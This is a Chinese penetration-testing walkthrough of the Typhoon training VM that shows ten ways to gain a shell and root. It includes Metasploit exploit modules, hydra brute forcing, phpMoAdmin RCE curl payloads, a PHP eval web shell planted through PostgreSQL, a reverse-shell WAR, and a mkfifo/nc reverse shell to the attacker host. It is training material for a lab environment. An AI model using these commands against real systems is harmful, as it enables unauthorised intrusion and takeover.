红队渗透测试之Typhoon——通过十种不同方法拿下
2022-09-02 10:46:06   来源:FreeBuf.COM YLion    评论:0 点击:

Typhoon-v1.02 简介

该项目是PrismaCSI作者精心制作的项目环境,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。

Typhoon VM contains several vulnerabilities and configuration errors. Typhoon can be used to test vulnerabilities in network services, configuration errors, vulnerable web applications, password cracking attacks, privilege escalation attacks, post exploitation steps, information gathering and DNS attacks. Prisma trainings involve practical use of Typhoon.

Typhoon虚拟机包含多个漏洞和配置错误。Typhoon可用于测试网络服务中的漏洞,配置错误,易受攻击的Web应用程序,密码破解攻击,权限提升攻击,利用后步骤,信息收集和DNS攻击。

该项目有始有终会用到信息收集->通过信息收集到的各种思路进行getshell->获得getshell(十种方式)->内网信息枚举->提权,最终拿到flag.txt的过程,那么在这当中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

img

信息收集

渗透测试的本质就是信息收集,信息收集决定了你的攻击面的宽窄!

下面首先使用nmap进行信息收集

1. nmap扫描网段

由于本项目环境是nat模式需要项目IP地址,对IP网段进行全网段扫描

nmap 192.168.27.0/24 -sP

img

2. nmap全端口扫描

进行namp全端口服务枚举

nmap -p- 192.168.27.128 -A

img

img

img

可以看到开放了非常多的端口

nmap输出显示各种开放端口:21(ftp,可以匿名访问的)、22(ssh)、25(smtp)、53(domain)、80(http)、110(pop3)、111(rpcbind)、139(netbios-ssn)、 143(imap)、445(netbios-ssn)、631(ipp)、993(ssl/imaps)、995(ssl/pop3)、2049(nfs_acl)、3306(mysql)、5432(postgrespl)、8080(http) 、6379(redis)、27017(mongodb)

3. web目录枚举

dirb是一个基于字典的web目录扫描工具,查找现有的(和/或隐藏的)Web对象,通过对Web服务器发起基于字典的攻击并分析响应的数据。 采用递归的方式来获取更多的目录,它还支持代理和http认证限制访问的网站,是在信息收集阶段获取目标信息常用工具手段。

这里我们使用dirb对目录进行爆破枚举

img

dirb http://192.168.27.128/

img

http://192.168.27.128/cms/

http://192.168.27.128/drupal/

http://192.168.27.128/phpmyadmin/

http://192.168.27.128/javascript/

http://192.168.27.128/robots.txt

通过dirb对目标网站进行扫描发现存在phpmyadmin以及robots.txt和drupal,cms等目录文件

攻击思路(一):drupal漏洞利用

msfconsole

使用msf进行漏洞利用

查找drupal模块

search drupal

img

有很多漏洞,尝试使用最新的2018年的exp

use exploit/unix/webapp/drupal_drupalgeddon2

填写攻击ip地址

set rhosts 192.168.27.128

这里注意扫描目录要修改一下

set TARGETURI /drupal
run

img

拿到一个反弹shell

img

/bin/bash -i

获取一个稳定shell

img

查看版本

uname -a

img

直接查找3.13.0

searchsploit 3.13.0

img

直接使用脚本

searchsploit -m linux/local/37292.c

将exp复制到当前目录,并开启http服务,将exp下载到目标机器

python -m SimpleHTTPServer 8080
wget http://192.168.27.187:8080/37292.c

编译并命名为ylion,授予ylion权限并运行

gcc 37292.c -o ylion
chmod +x ylion
./ylion

提权成功

成功拿到root权限!

攻击思路(二):SSH端口爆破

发现端口22开放,其版本为openssh 6.6.1p1

利用OpenSSH新爆出的CVE爆出目标主机的用户,这对特定的用户爆破密码,建议爆破1000条

img

searchsploit openssh

img

OpenSSH 2.3 < 7.7 - Username Enumeration

可以直接使用这个poc脚本进行攻击

只要在search里面能找到的exp或者poc,在msf里面都是有的

search ssh/ssh_

img

使用第六个

use auxiliary/scanner/ssh/ssh_enumusers
options

查看参数

img

set thosts 192.168.27.128

修改为攻击ip

将爆破字典放到桌面的目录下

img

并且写入参数中,如下

img

由于是爆破,把线程调为20

set threads 20

然后输入run开始运行

img

爆破完成,找到admin账户

使用九头蛇hydra对靶机的ssh进行爆破

hydra -l admin -P /root/Desktop/1/66/rockyou.txt 192.168.27.128 ssh

img

用户名为:admin 密码为:metallica

ssh admin@192.168.27.128
metallica

img

img

ssh远程登录成功

img

查看sudo -l情况

可以直接提权

sudo bash

提权成功

攻击路径(三):phpMoAdmin

phpMoAdmin 是一个用PHP 开发的在线MongoDB 管理工具,可用于创建、删除和修改数据库和索引,提供视图和数据搜索工具,提供数据库启动时间和内存的统计,支持JSON 格式数据的导入导出。

从之前nmap扫描的数据可以看到如下

img

访问:http://192.168.27.128/robots.txt

img

访问/robots.txt,是一个mogondb的WebUI管理

访问http://192.168.27.128/mongoadmin/

访问可能会有点慢

img

这是mongodb数据库的一个php写的管理工具phpmoadmin

后台存在信息泄露,对应可以去查找是否存在漏洞

点击change database

img

http://192.168.27.128/mongoadmin/index.php?action=getStats

img

可以看到版本号是1.0.9,google查一下

phpMoAdmin 1.0.9 exploit

两个RCE

curl http://192.168.27.128/mongoadmin/index.php -d "object=1;system('whoami');//"
curl 'http://192.168.27.128/mongoadmin/index.php?collection=admin&action=listRows&find=array();passthru("uname%20-a");exit;' 

img

信息泄露

比较卡,或者在界面多点击几次后等待会出现creds选项:

http://192.168.27.128/mongoadmin/index.php?db=credentials&action=listRows&collection=creds

img

发现:

[username] => typhoon

[password] => 789456123

ssh typhoon@192.168.253.135
789456123

即可ssh远程登录

攻击路径(四):LotusCMS漏洞利用

LotusCMS将最前沿的设计和设计集成到了最被忽视的CMS生态位之一-无数据库Web设计和开发中。

在之前爆破到的目录存在一个cms

http://192.168.27.128/cms/

img

lcms是一个不需要数据库就可以支撑的框架

这里我们通过msf进行攻击

msfconsole
search lcms

img

找到一个低版本的exp

use exploit/multi/http/lcms_php_exec
set rhosts 192.168.27.128
set rport 80
set uri /cms/

使用该exp进行尝试,并且添加参数进去

img

run

成功拿到反弹shell

img

攻击路径(五):Tomcat漏洞利用

Tomcat是一个应用服务器。他可以运行你按照J2EE中的Servlet规范编写好的Java程序。

简单的说它是一个Web网站的运行容器,把你写好的网站放进去就可以运行。

img

访问8080端口,是一个tomcat7的站点,直接点击manager

img

出现登录框,尝试使用默认账户登录 tomcat/tomcat

img

img

登录成功

exp

使用msf进行攻击,首先查找tomcat相关

search tomcat

img

这里可以使用这个上传的exp,并填写参数

use exploit/multi/http/tomcat_mgr_upload
set HttpUsername tomcat
set HttpPassword tomcat
set rhosts 192.168.27.128
set rport 8080

img

run

img

成功拿到反弹shell

后台部署

首先生成一个war包木马

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.27.187 LPORT=4455 -f war -o    ylion.war

img

在刚才登录成功的界面下滑

img

选择war包木马并Deploy

使用命令查看war包内部的恶意代码文件

7z l ylion.war

img

开启nc监听4455端口

nc -vlp 4455

访问 http://192.168.27.128:8080/ylion/tiehvcfkfc.jsp

img

拿到反弹shell

攻击路径(六):Shellshock漏洞利用

Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。

1661670739_630b15532065cd3efe613.png!small?1661670739246

以上截取自百度的文章中

Nikto 是一款开放源代码的、功能强大的 WEB 扫描评估软件,能对 web 服务器多种安全项目进行测试的扫描软件,去寻找已知有名的漏洞,能在230多种服务器上扫描出2600多种有潜在危险的文件、CGI 及其他问题,它可以扫描指定主机的 WEB 类型、主机名、特定目录、COOKIE、特定 CGI 漏洞、返回主机允许的 http 模式等等。

它也使用 LibWhiske 库,但通常比 Whisker 更新的更为频繁。Nikto 是网管安全人员必备的 WEB 审计工具之一。

Nikto 是 perl 语言开发的,其特点扫描全面,速度快。

这里我们使用nikto对站点进行扫描

nikto -h http://192.168.27.128

img

Shellshock - CVE-2014-6271和CVE-2014-6278 - 是在 Linux 发行版中常用的Bash命令shell 中发现的一个严重漏洞。该漏洞允许攻击者在受影响的系统上运行任意命令,使用CGI环境的Web服务器会受影响。

CVE-2014-6271:https://www.cvedetails.com/cve/cve-2014-6271

cve-2014-6278:https://www.cvedetails.com/cve/cve-2014-6278

CGI环境变量:http://www.cgi101.com/book/ch3/text.html

msfconsole

使用msf进行漏洞利用,查找shellshock并填写参数

search shellshock

img

使用这个exp

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set payload linux/x86/shell/reverse_tcp
set lhost 192.168.27.187
set rhosts 192.168.27.128
set targeturi /cgi-bin/test.sh
run

img

成功拿到反弹shell

攻击路径(七):NFS漏洞利用

NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。

img

  1. 需要知道对方挂载的目录是什么

  2. 进入挂载目录就可以共享信息

使用msf

search nfs

img

set rhosts 192.168.27.128

img

/typhoon [*] ---挂载了该目录

mkdir /tmp/typhoon

创建一个/tmp/typhoon目录

mount -t nfs 192.168.27.128:/typhoon /tmp/typhoon

将目标挂载的目录挂载到我们新建的目录下

查看目录下内容

img

攻击路径(八):5432 PostgreSQL漏洞利用

img

PostgreSQL是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统(RDBMS)

用msf尝试爆破PostgreSQL数据库用户名密码

search postgres

img

use auxiliary/scanner/postgres/postgres_login
set rhosts  192.168.27.128
run

img

postgres:postgres@template1

psql -h 192.168.27.128 -U postgres
postgres@template1

img

一开始登录失败,尝试密码为postgres成功

  1. 列出目录

select pg_ls_dir('./');

img

  1. 读取权限允许的文件

select pg_read_file('postgresql.conf',0,1000);
  1. 读取/etc/passwd第一行

DROP TABLE if EXISTS MrLee;CREATE TABLE MrLee(t TEXT);COPY MrLee FROM '/etc/passwd';select * from MrLee limit 1 offset 0;
  1. 直接读出所有数据

SELECT * FROM MrLee;

按下Q退出当前页面!

  1. 利用数据库写文件

INSERT INTO MrLee(t) VALUES('hello,MrLee');
COPY MrLee(t) TO '/tmp/MrLee';

 

SELECT * FROM MrLee;

读取发现:

hello,MrLee

(46 行记录)

显示里面有一句hello,MrLee,成功写入文件,并成功读取到源内容

  1. 创建OID,清空内容

SELECT lo_create(998);
delete from pg_largeobject where loid=998;

img

  1. 接下来就是写入木马使用hex---小葵

<?php @eval($_POST['123']);?>

0x3C3F70687020406576616C28245F504F53545B27313233275D293B3F3E

img

insert into pg_largeobject (loid,pageno,data) values(998, 0, decode('3C3F70687020406576616C28245F504F53545B27313233275D293B3F3E', 'hex'));

img

select lo_export(998,'/var/www/html/shell.php');

将id998的内容写到/var/www/html/shell.php内

img

http://192.168.27.128/shell.php

img

访问为空白页面

使用蚁剑连接

img

攻击路径(九):Samba远程代码执行漏洞(CVE-2017-7494)Linux版永恒之蓝 445端口(139端口)

img

Samba 是在 Linux 和 UNIX 系统上实现 SMB 协议的一个软件,不少 IoT 设备也使用了 Samba。2017年5月24日 Samba 发布了 4.6.4 版本,修复了一个严重的远程代码执行漏洞,漏洞编号 CVE-2017-7494,攻击者可以利用该漏洞在目标服务器上执行任意代码。

漏洞利用条件:

  1. 服务端共享目录有访问权限。

  2. 需要对服务器上写一个恶意文件并知道该文件的物理路径。 影响版本: Samba 3.5+ <4.6.4 <4.5.10 <4.4.14

注:可使用‘smbd -V’命令查看 Samba 的版本信息。

可以叫做linux版永恒之蓝,445端口和139端口 CVE-2017-7494

win的为 ms17_010

 

使用msf,查找漏洞

search CVE-2017-7494

img

use exploit/linux/samba/is_known_pipename
set rhosts 192.168.27.128

img

run

img

成功拿到shell

攻击路径(十):25端口DNS漏洞利用-区域攻击

img

25smtp端口获取DNS域

53端口说明肯定有域,提供域名DNS解析使用的

通过25端口去探测当前DNS

telnet 192.168.27.128 25

img

可以执行命令

注:kali的hosts文件中一般有ip和域名的,但是如果是空值的话kali自带域名

可以让对方服务器来找我们当前的域名,发送信息

EHLO kali.local-----客户端为标识自己的身份而发送的命令(通常带域名)

img

第一行的typhoon是返回的服务器信息,下面的是可执行的操作

VRFY是用来探测DNS的,可以确认邮件在传输当中的一个域名信息

尝试探测typhoon.local

VRFY typhoon.local

img

报错,没有这个信息,尝试加入root@(一般情况下都可以去这样尝试)

VRFY root@typhoon.local

img

确认在邮件传递过程中可以使用邮箱,并且存在这样一个域名信息

DNS 服务器可能正在服务 typhoon.local,让我们尝试执行区域传输

dig对域全记录解析

探测DNS使用dig

dig (域信息搜索器)命令是一个用于询问DNS 域名服务器的灵活的工具。 它执行DNS 搜索,显示从受请求的域名服务器返回的答复。 多数DNS 管理员利用dig 作为DNS 问题的故障诊断,因为它灵活性好、易用、输出清晰。 虽然通常情况下dig 使用命令行参数,但它也可以按批处理模式从文件读取搜索请求。

涉及dig一个重要的命令axfr,axfr是q-type类型的一种,axfr类型是Authoritative Transfer的缩写,指请求传送某个区域的全部记录。

只要欺骗dns服务器发送一个axfr请求过去,如果该dns服务器上存在该漏洞,就会返回所有的解析记录值。

dig axfr @192.168.27.128 typhoon.local

img

axfr会将所有访问域名typhoon.local建立传输和响应的记录都显示出来

可以看到有很多子域名

这个时候就可以将ip和子域名加入到hosts文件中,然后一个一个进行查看

这里子域名calendar.typhoon.local存在问题

gedit /etc/hosts
192.168.27.128 calendar.typhoon.local

img

然后可以通过浏览器去访问这个子域名

calendar.typhoon.local

img

发现版本:

WebCalendar v1.2.4 (08 Aug 2011)

子域发现WebCalendar并利用

WebCalendar是一个基于Web的日历应用软件。可配置成单个用户日历,多用户日历或访问者可以浏览的事件日历。WebCalendar需要数据库支持可以是MySQL,Oracle,PostgreSQL, MSSQLServer,ODBC, Interbase。它的特性:当更新/新增/删除事件或事件即将发生时通过Email提醒,iCal/vCal导入/导出。支持LDAP与NIS用户身 份验证。支持把用户的日历事件添加到RSS中。支持简体中文等。

在kali上查找webcalendar漏洞相关

searchsploit webcalendar

img

发现exploits/linux/webapps/18797.rb可以利用

这里使用msf进行漏洞利用

msfconsole
search webcalendar

img

选择exp

use exploit/linux/http/webcalendar_settings_exec

填写域名

set rhosts calendar.typhoon.local
set vhost calendar.typhoon.local

修改目录

set targeturi /
set lhost 192.168.27.187

img

run

img

成功获得反弹shell

内部信息收集

37292.c提权

uname -a

img

直接查找3.13.0

searchsploit 3.13.0

img

直接使用脚本

searchsploit -m linux/local/37292.c

将exp复制到当前目录,并开启http服务,将exp下载到目标机器

python -m SimpleHTTPServer 8080
wget http://192.168.27.187:8080/37292.c

编译并命名为ylion,授予ylion权限并运行

gcc 37292.c -o ylion
chmod +x ylion
./ylion

提权成功

成功拿到root权限

写文件提权

使用枚举脚本会发现

在/tab/目录下有一个文件所有者为root、权限为777的sh文件。

echo "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.27.187 8888 >/tmp/f" > script.sh
nc -vlp 8888
./script.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.27.187 8888 >/tmp/f

总结

通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如nmap全端口信息枚举、drupal漏洞利用、SSH端口爆破、phpMoAdmin利用、LotusCMS漏洞利用、Tomca漏洞利用、Shellshock漏洞利用、NSF漏洞利用、5432 PostgreSQL漏洞利用、Samba远程代码执行漏洞(CVE-2017-7494)Linux版永恒之蓝 445端口(139端口)、25端口DNS漏洞利用-区域攻击等等,希望伙伴们能实际操作复现一遍,不要眼高手低!巩固自身的渗透技术和技巧!

最后

希望大家提高安全意识,没有网络安全就没有国家安全!

相关热词搜索:攻防演练

上一篇:2021 Owasp Top 10 逐个击破之A08:软件和数据完整性故障
下一篇:西北工业大学遭网络攻击事件攻击源头系美国国家安全局

本站内容除特别声明的原创文章之外,转载内容只为传递更多信息,并不代表本网站赞同其观点。转载的所有的文章、图片、音/视频文件等资料的版权归版权所有权人所有。本站采用的非本站原创文章及图片等内容无法一一联系确认版权者。如涉及作品内容、版权和其它问题,请及时通过电子邮件或电话通知我们,以便迅速采取适当措施,避免给双方造成不必要的经济损失。联系电话:010-82306116;邮箱:aet@chinaaet.com。
分享到: 收藏